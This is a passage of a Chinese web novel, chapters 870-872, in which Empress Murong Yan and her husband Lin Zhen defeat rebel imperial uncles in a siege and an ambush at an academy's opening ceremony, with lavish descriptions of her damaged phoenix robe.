一名身着北漠服饰的信使被带进来,跪地呈上一个锦盒:“奉靖亲王之命,特来呈送此物。” 慕容嫣示意女官打开锦盒,里面竟是一袭破碎的凤袍,正是祭天大典时她被箭矢划破的那件。袍上沾着暗红的血迹,心口处插着一支凤翎箭——与慕容嫣常用的箭一模一样。 “靖亲王让臣传话:”信使低头道,“‘凤栖梧桐,终有折枝时。若陛下愿开城纳降,可保城中百姓无恙。’” 慕容嫣冷笑一声,墨黑睡裙上的金凤仿佛也目露寒光:“回去告诉靖王,朕就在这皇宫之中,等他来取朕的性命。”她袖袍一拂,“拖下去!” 待信使被带下,慕容嫣立即换上一袭墨黑劲装,外罩玄色斗篷:“传令九门提督,立即加强城防。陆炳,你带一队锦衣卫,暗中监视两位皇叔的府邸。” 林臻担忧道:“嫣儿,此时调动锦衣卫,会不会打草惊蛇?” 慕容嫣唇角微扬,从袖中取出一枚金凤令牌:“朕就是要打草惊蛇。传令下去,全城搜捕北漠细作,凡是形迹可疑者,一律收押审问。” 夜深人静时,慕容嫣独自站在城楼上,墨黑斗篷在夜风中猎猎作响。远处,北漠联军的营火如繁星般闪烁。她轻轻抚摸着腰间的微型电报键,思索着破敌之策。 忽然,一道黑影悄无声息地落在她身后:“陛下,西山有异动。” 慕容嫣转身,见是暗卫长:“说。” “慕容德在西山秘密建造了大量投石机,更可怕的是……”暗卫长压低声音,“他们似乎在挖掘地道,直通京城地下。” 慕容嫣眸中寒光一闪:“果然如此。传令工部,立即彻查所有地下通道,特别是通往皇宫的密道。” “还有一事。”暗卫长呈上一份密图,“这是在靖王府密室发现的,似乎是某种新式武器的图纸。” 林臻接过图纸,面色骤变:“这是……蒸汽喷射器!他们竟然造出了这个!”他指着图纸上的细节,“看这里,他们改进了设计,射程更远,威力更大。” 慕容嫣沉思片刻,忽然道:“夫君,你立即带人去工部,连夜赶制防御这种武器装备。朕要去会会这两位皇叔。” “陛下不可!”林臻急忙阻拦,“此时出宫太危险了。” 慕容嫣轻笑,墨黑劲装上的金凤纹路在月光下流转:“放心,朕自有分寸。”她转身对暗卫长道,“备马,去雍王府。” 雍王府内,慕容弘正在书房中踱步,忽然听到门外传来通报:“陛下驾到!” 慕容弘脸色一变,急忙迎出门外。只见慕容嫣一袭墨黑劲装,外罩玄色斗篷,正站在院中。月光洒在她身上,衬得金凤纹路越发耀眼。 “皇叔近日可好?”慕容嫣语气平淡,“朕听闻皇叔旧疾复发,特来探望。” 慕容弘躬身道:“劳陛下挂心,臣已无大碍。” 慕容嫣轻笑,宽大的喇叭袖轻轻拂过院中的梧桐树:“既然皇叔身体好转,明日可否与朕一同巡视城防?北漠大军压境,正是需要皇叔出谋划策之时。” 慕容弘面色微变:“这个……臣虽好转,但医官嘱咐还需静养……” “哦?”慕容嫣眸光一转,“那皇叔可知,近日城中多有北漠细作活动?更有人暗中挖掘地道,欲图不轨。” 慕容弘额头渗出细汗:“臣……臣不知。” 慕容嫣忽然逼近一步,墨黑劲装上的金凤仿佛睁开双眼:“那皇叔可知道,西山投石机之事?” 慕容弘扑通跪地:“陛下明鉴,臣对此一概不知!” 慕容嫣冷笑一声,袖中滑出一卷图纸:“那这投石机图纸,为何会出现在皇叔书房?” 慕容弘面色惨白,张口结舌。慕容嫣却转身离去:“皇叔好生休养,朕改日再来看望。” 离开雍王府,慕容嫣立即赶往靖王府。只见靖王府大门紧闭,门前侍卫神色紧张。 “开门!”慕容嫣冷声道,“朕要见靖皇叔。” 侍卫跪地:“陛下,王爷病重,不便见客。” 慕容嫣袖袍一拂,直接推开大门:“朕偏要见!” 院内,慕容璋果然“病卧”在榻,见慕容嫣进来,急忙要起身行礼。 “皇叔不必多礼。”慕容嫣按住他,“朕今日来,是想请教皇叔一事。北漠联军打着皇叔旗号,皇叔可知此事?” 慕容璋咳嗽几声:“臣……臣不知……” 慕容嫣从袖中取出一面军旗,正是北漠先锋部队所用的靖王旗:“那这面军旗,皇叔又作何解释?” 慕容璋面色大变,忽然从榻上跃起,袖中滑出一柄短剑:“既然陛下已经知道,那就休怪臣无情了!” 顿时,四周涌出数十名黑衣死士,将慕容嫣团团围住。 慕容嫣却丝毫不慌,墨黑劲装上的金凤仿佛振翅欲飞:“皇叔终于不装病了?”她轻轻抬手,袖中黑钻发出清脆声响,“可惜,皇叔的戏,唱到头了。” 忽然,四周屋顶上出现无数弓箭手,林臻带着新军火枪营及时赶到:“放下武器!” 慕容璋面色惨白,颓然跪地:“臣……臣知罪……” 慕容嫣冷眼看着被押下去的慕容璋,对林臻道:“立即彻查靖王府,找出所有与北漠往来的证据。” 回到宫中,慕容嫣褪下劲装,换上那袭墨黑睡裙。夜已深沉,但她毫无睡意,站在窗前望着远处的烽火。 林臻轻轻为她披上外袍:“嫣儿,今日太过冒险了。” 慕容嫣靠在他肩上:“唯有如此,才能逼他们现出原形。”她忽然想起什么,“西山那边如何?” 林臻面色凝重:“投石机已经建成,地道也挖得差不多了。最麻烦的是,他们改进了蒸汽喷射器,射程可达三百步。” 慕容嫣沉思片刻,忽然道:“传令工部,立即在城外挖掘壕沟,灌入桐油。再调集所有可用的火炮,布置在城墙上。” “还有,”她补充道,“让暗卫继续监视两位皇叔的余党,特别是与北漠有联系的那些人。” 三更时分,又一份急报传来:北漠联军开始攻城了! 慕容嫣立即换上战甲,墨黑凤纹在火光中熠熠生辉:“夫君,随朕上城楼!” 城楼上,箭矢如雨。慕容嫣屹立垛口,墨黑战袍在风中猎猎作响。她举起望远镜,只见敌军如潮水般涌来,靖王旗号在风中招展。 “火炮准备!”她冷声下令。 炮火轰鸣,敌军暂时退去。但很快,一种奇怪的器械被推上前线——正是改进后的蒸汽喷射器! “小心!”林臻急忙护住慕容嫣。 一道炽热的蒸汽喷射而来,城墙上的砖石瞬间熔化!士兵们惊慌失措,阵线开始动摇。 慕容嫣却临危不乱,墨黑战袍上的金凤仿佛睁开双眼:“传令,点燃壕沟!” 顿时,城外的壕沟燃起冲天大火,阻断了敌军的进攻路线。蒸汽喷射器在高温下纷纷失效,敌军陷入混乱。 慕容嫣站在城楼上,墨黑战袍在火光中熠熠生辉:“告诉北漠可汗,大乾的凤凰,不是那么容易折翅的!” 战后,慕容嫣回到宫中,褪下战袍,换上那袭墨黑睡裙。裙上的金凤在烛光下仿佛在轻轻呼吸,诉说着这场惊心动魄的胜利。 林臻轻轻为她按摩肩膀:“今日一战,足以震慑北漠。但两位皇叔的余党仍在,西山的地道也尚未清除。” 慕容嫣靠在他怀中,墨黑睡裙上的夜光蚕丝泛着幽蓝光芒:“无妨。经此一役,那些魑魅魍魉也该知道,什么是真正的凤凰涅槃。” 她望着窗外渐渐亮起的天色,轻声道:“这场战争,才刚刚开始。” 第870章 尔等竟敢谋逆 京西之地,层峦叠嶂。昔日皇家猎苑,如今矗立起一座融合古典殿阁与新奇钢铁结构的庞大建筑群——西山皇家格物苑。 今日正是其落成典礼之期,旌旗招展,仪仗煊赫。 主殿前的汉白玉广场上,百官依序肃立,各地遴选出的工匠代表、格物院学生皆激动难耐。广场四周,精锐的禁军与新军士兵盔明甲亮,肃然警戒。 吉时已至,钟鼓齐鸣,礼乐喧天。 “陛下驾到——摄政王驾到——” 唱喏声落,所有人的目光瞬间聚焦于高阶之上。 慕容嫣在林臻的虚扶下,缓步出现在众人视野之中。仅一瞬,便夺走了天地间所有的光彩。 她今日所穿,并非简化常服,而是那身极致隆重、象征无上皇权的玄黑色百凤朝服。极致玄黑的云锦底料,在灿烂的秋阳下,流淌着吞噬一切光线的深邃质感,却又自最深处折射出幽蓝与暗紫的帝王威仪。? 袍服之上,那一百只以无数珍稀金银彩线、孔雀羽线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在阳光下彻底苏醒,每一片羽毛都闪烁着灼目逼人的华彩,赤金如熔日,玫金如霞染,银白如月华,紫金如祥云。 凤眸以顶级的鸽血红、皇家蓝宝石镶嵌,锐利如电,百凤姿态各异,引颈高鸣、展翅翱翔、乘风逐日…栩栩如生,华美繁复到令人窒息,仿佛下一刻便会破衣而出,直上九霄,睥睨天下! ?宽大无比的喇叭袖垂落身侧,袖口层层叠叠,以金线滚边,绣着繁复的云雷纹,边缘缀着的细密黑珍珠流苏纹丝不动。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则成为了今日最令人震撼的景象! 由二十四名精心挑选、身着玄衣的宫女分列两排,极其小心地托举、展开、铺陈,如同一条流动的墨色星河,庄严而缓慢地滑过冰冷的汉白玉地面,最终完美地铺展在御阶之上及高阶之后。 其面积之巨,几乎覆盖了九级御阶,其上镶嵌的黑钻、墨玉、深蓝宝疯狂地折射着冰冷而璀璨的、令人无法直视的星点光芒,视觉冲击力无比震撼,尊贵到了极致! 她头戴九龙九凤冠,东珠、宝石与金饰的重量让她不得不微微昂起下巴,以维持仪态。 容颜绝世,在这身朝服的极致华贵与威严包裹下,美得令人窒息,也尊贵得令人不敢直视。 林臻立于她身侧,一身绛紫亲王蟒袍,金玉带,蟠龙冠,身姿挺拔,英气逼人,目光沉静地扫视全场,掌控着一切。 慕容嫣仪态万方地落座于特设的凤椅之上,?拖尾在她身后铺展如墨色羽翼。林臻则立于椅侧。 典礼按部就班进行,工部尚书激昂陈词,林臻代慕容嫣给予勉励与赏赐。慕容嫣始终端坐,面容清冷,目光平静,除了偶尔在林臻眼神示意下颔首或吐出“准奏”、“依议”等字眼,并无多余言辞。 ?华服沉重,凤冠威压,但她维持着无可挑剔的仪态,如同镇国之宝,静默却光芒万丈。 然而,就在典礼进行至高潮,林臻正准备为格物院首席颁授金印,全场注意力最为集中之际—— 异变陡生! 数支响箭尖啸着射向天空,爆开一团团诡异的绿色烟雾! “保护陛下!保护殿下!”禁军统领的怒吼声瞬间被四面八方响起的喊杀声与兵刃撞击声淹没! 只见原本肃立的官员和人群中,突然暴起数十名身着各色服饰却手持利刃的刺客,直扑御阶! 同时,广场外围,原本负责警戒的部分“巡防营”士兵竟倒戈相向,与忠于皇室的禁军和新军厮杀在一起!更远处,烟尘滚滚,显然有不明数量的军队正在快速接近! “有叛军!” “护驾!护驾!” 场面瞬间大乱!官员惊叫奔逃,工匠学生惊慌失措。 慕容嫣被这突如其来的剧变惊得脸色一白,下意识地看向身侧的林臻。?宽大喇叭袖下的手微微颤抖。 “嫣儿别怕!”林臻反应极快,一把将她从凤椅上拉起,护在身后。他面色沉静如水,眼神锐利如鹰,并无丝毫慌乱,仿佛早已预料到几分。“亲卫队!结阵!守住御阶!” “铿铿铿!”林臻麾下最精锐的亲卫队迅速收缩,以御阶为核心,组成一道密不透风的钢铁人墙,手中的新式火铳喷吐出致命的火舌,冲在最前面的刺客如同割麦般倒下! 箭矢如飞蝗般射来,大多被盾牌挡住,发出沉闷的撞击声。 “慕容弘!慕容璋!尔等竟敢谋逆!”林臻的声音灌注内力,如同雷霆般滚过混乱的广场,瞬间压下了部分喧嚣,也点明了叛军身份。 回应他的,是叛军后方传来的一声狂妄大笑:“林臻!你这窃国奸贼!挟持幼主,祸乱朝纲!今日靖北王与安平王便要清君侧,正乾坤!陛下勿惊,臣等前来救驾!”正是慕容璋的声音,颠倒黑白,试图蛊惑人心。 慕容嫣被林臻紧紧护在身后,听着那喊声,看着眼前刀光剑影、血肉横飞的景象,闻着空气中弥漫的血腥与硝烟味,脸色苍白,?华贵的墨袍上沾染了不知是谁溅上的几点血污,刺目惊心。 那长达三丈的拖尾因慌乱移动而被踩踏拉扯,宫女早已惊散。?宽大的喇叭袖被林臻紧紧攥住,以免她行动不便。 她何曾见过如此血腥的场面?身体微微发抖,但看着身前林臻如山岳般沉稳的背影,感受着他手掌传来的坚定力量,她心中的惊惧竟奇异地平复了些许。 “陛下!速下诏诛杀林臻此獠!叛军可退!”慕容璋的声音再次响起,充满了狡诈与逼迫。 慕容嫣闻言,猛地抬起头,苍白的面容上竟浮现出一丝怒意。她可以不做决断,可以依赖林臻,但她绝不容许有人如此逼迫她、污蔑她的夫君! 她不知哪来的勇气,竟微微挣脱林臻的手,上前半步,?喇叭袖一甩,虽声音带着一丝微颤,却异常清晰地喝道:“乱臣贼子!安敢胡言!” 这一声呵斥,出自一身极致华贵凤袍的女帝之口,在这混乱的战场上,竟带着一种奇异的威仪! 林臻有些意外地看了她一眼,眼中闪过一丝赞赏与心疼,立刻将她重新拉回保护圈:“别冲动!” 战斗愈发激烈。叛军人数众多,且早有准备,但林臻的亲卫与新军装备精良,训练有素,火器威力巨大,一时竟将叛军死死挡在御阶之下。 突然,一支冷箭刁钻地穿过缝隙,直射慕容嫣面门! “嫣儿!”林臻瞳孔骤缩,想也不想,猛地将她扑倒! “嗤啦——”一声裂帛脆响! 箭矢擦着林臻的肩膀飞过,带起一溜血花。而他护着慕容嫣倒地的瞬间,慕容嫣那长达三丈、华丽沉重无比的拖尾被剧烈拉扯,边缘一处镶嵌宝石的繁复刺绣被旁边一名亲卫的甲胄钩住,竟撕裂开一道口子! 慕容嫣惊呼一声,倒在林臻怀中,看到他肩头渗出的血迹,再看到自己墨袍上那刺眼的裂痕,眼中瞬间涌上水汽,不是为疼痛,而是为这身他赠予她、象征他们无上荣光与羁绊的袍服受损,也为他受伤。 “夫君!你的伤!我的衣服…”她声音带上了哭腔。 “无妨!皮外伤!”林臻迅速查看她无恙,又瞥见那撕裂的拖尾,眼中戾气一闪而逝。他扶她起身,将她护得更紧,对袍服受损的怒火竟似乎超过了对自己受伤的在意。 “慕容弘!慕容璋!”林臻的声音如同万年寒冰,“你们…找死!” 他猛地从怀中取出一枚造型奇特的金属筒,对着天空一拉引信! 一道赤红色的流光尖啸着冲天而起,在高空炸开一个巨大的龙纹图案! 信号!他早已布下的后手! 远处,传来沉闷的、如同雷鸣般的轰响,那是装备了最新式火炮的援军正在快速合围! 叛军后方阵脚大乱! “不可能!他们的炮队怎么会这么快?!”慕容弘惊怒交加的声音传来。 “电报…是电报!”慕容璋的声音充满了绝望的惊恐。他们算准了距离,却没算准林臻利用新式通讯技术调兵的速度! 胜负的天平,瞬间倾斜。 林臻不再关注战场,他小心地扶起慕容嫣,目光落在她墨袍撕裂处和苍白的脸上,声音瞬间化为极致的温柔:“吓到了吗?没事了,嫣儿,没事了。”他指尖拂过她脸颊,擦去不知何时滑落的泪珠。 慕容嫣摇摇头,紧紧抓着他未受伤的手臂,看着眼前逐渐被控制的局面,心有余悸。她低头,看着那华美拖尾上狰狞的裂口,心疼不已:“夫君…衣服坏了…” “一件衣裳而已,嫣儿无事最重要。”林臻低声安慰,拥着她,“回宫后,让绣坊最好的绣娘修补,定能恢复如初,甚至…绣得更好。” 他拥着她,一步步走下染血的御阶。亲卫们迅速清剿残敌。 慕容嫣依偎在他怀里,身上那件撕裂却依旧华美惊天动地的百凤墨袍,?破损的喇叭袖,以及那虽被撕裂却依旧逶迤铺展、沾染了尘埃与血污的三丈拖尾,在硝烟未散的战场上,构成了一幅极具冲击力的画面——极致的奢华与残酷的厮杀交织,破碎的华美映衬着不容撼动的皇权与爱侣间深沉的守护。 叛乱终将平息,而经此一役,慕容嫣或许依旧是她那“不理朝政”的女帝,但她对林臻的依赖与信任,以及在那瞬间爆发的、维护他的勇气,必将更深一分。 而那身受损的凤袍,也将成为他们共同经历风雨的又一见证。 第871章 你们是真该死啊 西山格物苑广场上的厮杀已进入白热化。 叛军如潮水般一波波冲击着御阶前由林臻亲卫和新军组成的钢铁防线,箭矢破空声、火铳轰鸣声、刀剑碰撞声、垂死惨叫声交织在一起,震耳欲聋。 血腥气与硝烟味浓烈得令人作呕,昔日庄严肃穆的典礼之地已化为修罗战场。 慕容嫣被林臻紧紧护在身后,置身于亲卫队用盾牌与血肉之躯筑成的最后屏障之内。她脸色苍白如纸,呼吸急促,?宽大喇叭袖下的手死死攥着林臻腰侧的蟒袍衣料,指节因用力而泛白。 那身极致华贵的玄黑色百凤墨袍,此刻成为了混乱战场上最突兀也最令人心悸的存在。 极致玄黑的底色,仿佛能吸收周遭所有的血光与杀意,呈现出一种沉静到极致的诡异美感,与遍地狼藉和鲜血形成了触目惊心的对比。? 袍服之上,那一百只以金银彩线绣就的凤凰,依旧华美夺目,赤金、玫金、银白、紫金的羽翼在刀光剑影的映照下,反射着冰冷而跳跃的光芒,凤眸上的宝石如同凝固的血滴与寒冰,百凤姿态依旧高傲,仿佛在冷眼俯瞰这人间惨剧。 ?宽大无比的喇叭袖因她的颤抖而微微晃动,袖口边缘的黑珍珠流苏沾染上了不知何时溅上的几滴暗红血点,如同雪地红梅,刺目惊心。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则陷入了极其狼狈的境地。 它不再被宫女托举,而是大部分铺展在染血的汉白玉地面上,被慌乱移动的脚步(无论是亲卫还是偶尔突入的叛军)踩踏、拖拽,其上镶嵌的黑钻、墨玉与深蓝宝蒙上了灰尘与血污,华光黯淡。 更有几处被刀剑划破或被靴底钩丝,露出了内衬的玄色云锦,如同受伤凤鸟的残羽,带着一种破碎而凄艳的美感。 这拖尾此刻不仅不再是尊荣的象征,反而成了巨大的累赘,严重限制了慕容嫣的行动,使她几乎寸步难行,完全依赖于林臻的保护。 “林臻逆贼!纳命来!”一声暴喝响起,只见一名叛军悍将竟突破了火铳阵列,手持一柄厚背砍刀,浑身浴血,状若疯虎般直扑御阶之上的林臻! “保护王爷!”亲卫队长怒吼,带人拼死拦截。 林臻眼神一厉,将慕容嫣往身后更深处一推,反手拔出腰间一柄造型奇特、闪烁着幽蓝光泽的短铳——这是格物院最新研制的连发火铳。他动作快如闪电,抬手便射! “砰!砰!”两声铳响几乎连成一声。那冲来的叛将身形猛地一滞,胸前爆开两团血花,难以置信地低头看了一眼,随即轰然倒地。 硝烟从铳口袅袅散开,林臻面色冷峻,持铳的手臂稳如磐石。他回头迅速看了慕容嫣一眼,确认她无恙,眼神中的冰冷瞬间化为一丝安抚。 慕容嫣惊魂未定地看着那倒地的叛将,又看向林臻手中那件威力巨大的新式火器,心跳如鼓。她从未如此近距离地见识过战争的残酷与林臻杀伐果断的一面。 就在这时,异变再起! 数支火箭尖啸着射向御阶后方,目标并非人,而是那些堆积的仪仗、锦缎和木制构件!瞬间火起!浓烟滚滚! “咳咳…”慕容嫣被浓烟呛得咳嗽起来,视线受阻。 “嫣儿!”林臻一把将她拉近,用披风为她遮挡烟雾。火光映照下,她墨袍上的百凤图案在烟雾中若隐若现,更添几分惊心动魄。 “王爷!火势蔓延,此地不宜久守!需突围与外围新军汇合!”亲卫队长焦急喊道。叛军似乎改变了策略,试图用火攻制造混乱。 林臻环顾四周,火光、浓烟、厮杀声、叛军愈发疯狂的进攻…他迅速做出决断。 “收缩阵型!向东南角突围!那里有火炮阵地接应!”林臻命令道,声音沉稳有力,瞬间稳定了军心。 他低头看向怀中因烟熏和惊吓而眼角泛泪的慕容嫣,目光落在她那逶迤于地、沉重且已成为拖累的三丈拖尾上,没有丝毫犹豫。 “嫣儿,得罪了。”他沉声道,话音未落,手中已多了一柄寒光闪闪的匕首——并非寻常兵器,而是他随身携带、用于拆看火器机括的精密刀具。 在慕容嫣惊讶的目光中,林臻俯身,手起刀落! “嗤啦——!” 一声极其清脆的、丝帛断裂的声响,甚至短暂压过了周围的喧嚣! 那长达三丈、华丽无比、镶嵌无数珍宝、象征着她无上尊荣的墨色拖尾,竟被林臻从袍服连接处,齐根割断! 沉重的拖尾瞬间失去支撑,如同一条失去生命的墨色巨蟒,颓然委顿于地,淹没在血污、灰尘与狼藉之中,其上闪烁的宝石最后折射了一下火光,便彻底黯淡下去。 慕容嫣只觉得身后一轻,那终日束缚着她的沉重感骤然消失。她下意识地回头,看到那陪伴她经历无数大典、象征着她极致权威的拖尾如同废弃的锦缎般落在污秽之地,心中猛地一揪,一种难以言喻的复杂情绪涌上心头。 似是解脱,又似是失落与心痛。那不仅是件衣服,更是他给予她的、与她融为一体的荣光… “夫君…”她声音带着哽咽,看向林臻。 “无妨,”林臻斩钉截铁,目光坚定地看着她,仿佛看穿了她的心思,“一件死物罢了!护你周全最重要!回宫后,我再命人给你做更好的!” 他的语气不容置疑,带着一种在危难时刻压倒一切的决断力。 说完,他不再看那遗落的拖尾一眼,手臂用力,将因失去拖尾重量而略显失衡的慕容嫣拦腰抱起!她身上那件割断了拖尾的墨袍,此刻看起来像是一件华丽却残缺的战袍,?宽大的喇叭袖在空中飘荡。 “抱紧我!”林臻低喝一声,一手持铳,一手紧紧抱着她,飞身跃下御阶! “护驾!突围!”亲卫们怒吼着,以林臻为核心,组成一个锋矢阵型,向着东南方向猛烈冲杀! 林臻身形如电,步法诡异,手中短铳连连点射,精准地清除前方的障碍。每一次铳响,都有一名叛军应声倒地。他的眼神冰冷锐利,周身散发着骇人的杀气,与平日那个温柔缱绻的夫君判若两人。 慕容嫣紧紧搂着他的脖颈,将脸埋在他坚实的肩窝,不敢看周遭惨烈的景象。她能感受到他肌肉的紧绷、每一次闪避跳跃的力量、以及那短铳发射时传来的后坐力。 ?华贵的墨袍在疾风中猎猎作响,?残缺的袍摆和宽大的喇叭袖拂过染血的土地和倒伏的尸体。 叛军发现了他们的意图,更加疯狂地围堵过来。箭矢如雨般倾泻,不断有亲卫中箭倒下,但阵型丝毫未乱,依旧坚定地向前推进。 突然,一名叛军士兵从侧面死角猛地持枪刺来! 林臻正应对前方之敌,似乎不及回防! “夫君小心!”慕容嫣眼角余光瞥见,失声惊叫,下意识地想用身体去挡! 千钧一发之际,林臻仿佛背后长眼,抱着她的腰肢猛地一个旋身,同时飞起一脚,精准地踢在枪杆之上! 长枪荡开,那叛军被带得一个趔趄,随即被旁边一名亲卫一刀结果! 整个过程发生在电光火石之间。林臻低头看了眼怀中吓得紧闭双眼的人儿,低声道:“别怕,抱紧就好。” 慕容嫣睁开眼,看到他坚毅的下颌线和沉稳的眼神,心中的恐惧奇迹般地被驱散了不少。她用力点头,更紧地抱住他。 终于,在付出不小代价后,突围队伍冲破了叛军最密集的包围圈! 前方豁然开朗,只见一支盔甲制式截然不同的军队严阵以待,阵前数门黝黑的新式火炮已然对准了追来的叛军! “王爷!陛下!”领军将领高声喊道。 “开炮!”林臻毫不犹豫地下令! “轰——!!!”“轰——!!!”“轰——!!!” 震耳欲聋的炮声猛然炸响,地动山摇!炮弹呼啸着落入追兵之中,瞬间人仰马翻,血肉横飞!叛军的攻势为之一滞,阵型大乱! 火器的绝对威力在此刻展现得淋漓尽致! 林臻抱着慕容嫣,迅速进入安全的后方阵中。 直到此刻,他才微微松了口气,低头查看怀中的人儿:“嫣儿,没事了?” 慕容嫣从他怀里抬起头,小脸依旧苍白,发丝有些凌乱,?华贵的墨袍上沾满了灰尘、血渍和烟熏的痕迹,?喇叭袖边缘甚至被火星燎焦了一小块,显得狼狈不堪。 但那身玄黑底色和其上的百凤图案,依旧在硝烟弥漫的背景下,顽强地彰显着不容亵渎的尊贵。 她看着林臻肩头依旧在渗血的伤口,看着他额角的汗水和坚毅的眼神,摇了摇头,声音微微发颤,却异常清晰:“我没事…夫君,你的伤…” “小伤。”林臻不在意地瞥了一眼伤口,将她小心地放下,却依旧揽在身侧。他抬手,用指腹极其轻柔地擦去她脸颊上不知何时沾染的一点烟灰,目光落在她残缺的袍摆上,眼中闪过一丝不易察觉的心疼与戾气。 “慕容弘!慕容璋!”他望向叛军的方向,声音如同万载寒冰,蕴含着滔天怒火,“伤我嫣儿凤袍…罪该万死!” 炮声依旧轰鸣,平定叛乱的最终战斗已然打响。而林臻的目光,始终未曾离开身边这位虽袍服残破、鬓发散乱、却依旧努力维持着威仪、紧紧依靠着他的女帝陛下。 那身破损的墨袍,如同历经风暴的凤凰羽翼,虽折损,却更显坚韧与不容侵犯。 第872章 气死我了 震耳欲聋的炮火声持续不断地轰鸣,大地为之震颤。新军火炮阵地喷射出的烈焰与浓烟,将追击的叛军成片撕裂,残肢断臂与破碎甲胄四处飞溅,凄厉的惨叫声被更巨大的爆炸声吞没。 叛军的攻势被这绝对的火力优势瞬间压制,阵型彻底崩溃,幸存者惊恐地向后溃退。 林臻紧拥着慕容嫣,屹立于安全的后方阵中。 亲卫队迅速围绕他们组成新的防御圈,盾牌如墙,警惕地注视着混乱的战场。硝烟弥漫,刺鼻的血腥味与硫磺味混杂,令人窒息。 慕容嫣紧紧依偎在林臻怀中,?宽大喇叭袖下的手死死抓着他胸前未被鲜血染透的衣料,指节因用力而发白。 她脸色苍白,长睫不住颤动,每一次炮声轰鸣,她都会下意识地微微一颤。那身极致华贵却已残破的玄黑色百凤墨袍,在硝烟与血火的映照下,呈现出一种惊心动魄的、带着毁灭气息的美感。 极致玄黑的底色,仿佛吞噬了周遭所有的血光与杀伐之气,沉静得令人心悸。?袍服之上,那一百只以金银彩线绣就的凤凰,羽毛依旧闪烁着赤金、玫金、银白、紫金的华彩,却在烟尘熏染和零星血点沾染下,光华变得黯淡而悲怆,凤眸上的宝石折射着不远处燃烧的火光,如同泣血。 ?宽大无比的喇叭袖边缘已被燎焦卷曲,袖口珍贵的黑珍珠流苏沾满了灰烬与暗红的血渍,沉重地垂落着。 而那被齐根割断、仅剩残存袍摆的三丈拖尾,此刻已彻底委顿于远处血火交织的御阶之上,与破碎的仪仗、倒伏的尸体混杂在一起,其上镶嵌的黑钻、墨玉与深蓝宝蒙着厚厚的污秽,昔日璀璨的星河化为一条死寂的墨色污流,刺痛着慕容嫣的眼。 她甚至不敢回头去看那遗落的荣光,只觉得心头空落落的,仿佛失去了重要的依托。 “林臻奸贼!慕容嫣!你们以为这就结束了吗?!”一声狂暴的怒吼如同炸雷般从叛军溃退的方向传来,压过了炮火的喧嚣! 只见溃散的叛军如同潮水般向两侧分开,一队盔甲染血、却依旧煞气冲天的精锐骑兵簇拥着两人,逆着人流猛冲过来! 为首一人,身材魁梧,面目狰狞,身着破损的靖北王铠甲,正是慕容弘! 他身旁稍落后半个马位者,面色阴鸷,穿着安平王服制却沾满血污,正是慕容璋! 这两人竟亲自率最后的死士发起了冲锋!目标直指林臻与慕容嫣! “放箭!”新军将领厉声下令。 箭雨泼洒而去,慕容弘与慕容璋挥舞兵器格挡,身边死士不断落马,但他们冲势不减,眼中充满了疯狂的绝望与恨意! “保护王爷!陛下!”亲卫队阵型收缩,火铳手再次填弹。 林臻将慕容嫣护在身后,面色冷峻如冰,眼神锐利如鹰,死死锁定冲来的两人。他手中那柄奇特的连发短铳再次抬起。 “林臻!你这窃国逆贼!还我慕容氏江山!”慕容弘咆哮着,策马狂奔,手中长刀直指。 “陛下!您被奸佞蒙蔽!臣等今日清君侧,死而后已!”慕容璋的声音尖厉,带着虚伪的悲愤,试图做最后的蛊惑。 慕容嫣听到这颠倒黑白的喊声,尤其是直指林臻,一股难以言喻的怒火竟压过了恐惧。她猛地从林臻身后探出身子,尽管脸色依旧苍白,却厉声斥道:“胡说!尔等逆贼!罪该万死!” 她的声音清越,带着罕见的尖锐与威仪,虽被炮声掩盖大半,却让冲来的慕容弘与慕容璋明显一怔。 他们似乎没想到,那个被他们视为花瓶、理应惊慌失措的女帝,竟会在此刻出声斥责。 就这一怔的瞬间! 林臻动了!他眼神一寒,抓住这稍纵即逝的机会,手臂稳如磐石,扣动扳机! “砰!砰!砰!” 三声急促的铳响几乎连成一线!三颗特制的精钢弹丸以肉眼难以捕捉的速度射出! 慕容弘挥刀欲挡,却慢了一瞬!一颗弹丸直接击碎了他胯下战马的头颅!战马惨嘶一声,轰然倒地!另一颗弹丸击中他持刀的右肩,血花爆溅!他惨叫一声,从马背上重重摔落! 几乎同时,慕容璋的坐骑也被一颗弹丸击中前胸,悲鸣着跪倒,将他狠狠甩下马背,摔得七荤八素! 林臻的枪法精准狠辣到了极致! “拿下!”林臻冷声下令,声音不带一丝感情。 亲卫与新军士兵一拥而上,迅速将摔得晕头转向、身受重伤的慕容弘与慕容璋死死按住,捆缚起来。 叛军见到主帅被擒,最后一点士气彻底崩溃,纷纷丢弃兵器,跪地投降。 一场惊天动地的叛乱,竟以如此迅雷不及掩耳的速度,骤然平息。 战场瞬间安静了许多,只剩下零星的战斗声和伤者的呻吟。硝烟缓缓飘散,露出遍地狼藉与血腥。 林臻这才微微松了口气,但紧绷的神经并未完全放松。他第一时间转身,双手扶住慕容嫣的肩膀,急切地上下打量:“嫣儿!没事吧?有没有伤到哪里?” 他的目光扫过她华贵墨袍上的每一处污渍和破损,眼中充满了心疼与后怕,仿佛那衣袍的破损比他自己肩头的伤更令他痛心。 慕容嫣摇摇头,惊魂甫定地看着他,目光最终落在他依旧在渗血的肩头,眼泪瞬间涌了上来:“夫君…你的伤…好多血…” 她喇叭袖下的手颤抖着,想碰又不敢碰他的伤口。 “无妨,皮外伤。”林臻毫不在意地瞥了一眼伤口,伸手用指腹极其轻柔地擦去她眼角滑落的泪珠,声音瞬间从方才的冰冷转为极致的温柔,“吓坏我的嫣儿了…是我不好。” 他仔细地为她理了理鬓边散乱的发丝,拂去墨袍肩头落下的一缕烟灰,动作小心翼翼,仿佛在对待一件稀世珍宝。他的目光落在她被燎焦的袖口和空荡荡的袍摆处,眼底深处翻涌起骇人的戾气与杀意。 但面对她时,语气却依旧温和:“这身袍子…委屈它了。回宫后,我定让绣坊用最好的料子,最好的绣娘,重做一件…不,做十件更好的赔给你。” 慕容嫣用力摇头,眼泪落得更凶,不是为袍子,而是为他:“不要…我只要夫君无事…” 她伸出沾满尘污的喇叭袖,轻轻环住他的腰,将脸埋进他未受伤的肩窝,汲取着那份令人安心的温暖与气息。?华贵却残破的墨袍与染血的蟒袍紧紧相贴。 林臻心中软成一片,紧紧回抱住她,下颌轻蹭她的发顶,低声安抚:“好了,好了,都过去了…逆贼已擒,再无人能惊扰我的嫣儿。” 这时,新军主将前来禀报:“王爷,叛首慕容弘、慕容璋已擒获,叛军大部投降,请王爷示下!” 